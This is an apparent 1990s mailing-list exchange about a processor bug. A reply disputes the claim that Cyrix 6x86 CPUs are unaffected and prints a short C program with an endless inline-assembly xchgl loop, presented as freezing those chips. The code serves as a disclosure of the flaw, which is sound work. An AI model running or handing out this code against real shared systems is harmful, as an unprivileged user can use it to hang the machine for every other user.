This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of them) processors. If you run a multiuser, untrusted system, I suggest reserving some at your local computer supplier... unless there is an easy fix for this, there is going to be a run on them.
I doubt it; See http://www.heise.de/ct/art_ab97/9713030/ static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36}; main() { asm ("movl $c, %ebx\n\t" "again: xchgl (%ebx), %eax\n\t" "movl %eax, %edx\n\t" "jmp again\n\t"); }
